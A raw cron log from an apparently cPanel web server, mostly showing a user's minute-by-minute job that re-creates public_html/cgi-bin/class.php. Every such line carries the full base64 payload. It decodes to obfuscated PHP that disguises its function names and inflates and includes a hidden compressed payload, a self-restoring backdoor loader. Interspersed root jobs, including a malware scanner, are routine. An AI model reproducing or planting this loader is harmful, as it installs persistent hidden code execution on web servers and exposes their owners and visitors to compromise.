Nov 11 06:37:01 server CROND[23396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:38:01 server CROND[24249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:39:02 server CROND[25084]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:39:02 server CROND[25086]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:40:01 server CROND[25838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:40:01 server CROND[25839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:40:01 server CROND[25840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:40:01 server CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:41:01 server CROND[26735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:42:01 server CROND[27654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:42:01 server CROND[27655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:43:01 server CROND[28484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:44:01 server CROND[29307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:45:01 server CROND[29661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:45:01 server CROND[29662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:45:01 server CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:46:01 server CROND[30240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:47:01 server CROND[31170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:48:01 server CROND[32226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:49:01 server CROND[600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:50:01 server CROND[1434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 06:50:01 server CROND[1435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 06:50:01 server CROND[1439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:50:01 server CROND[1444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
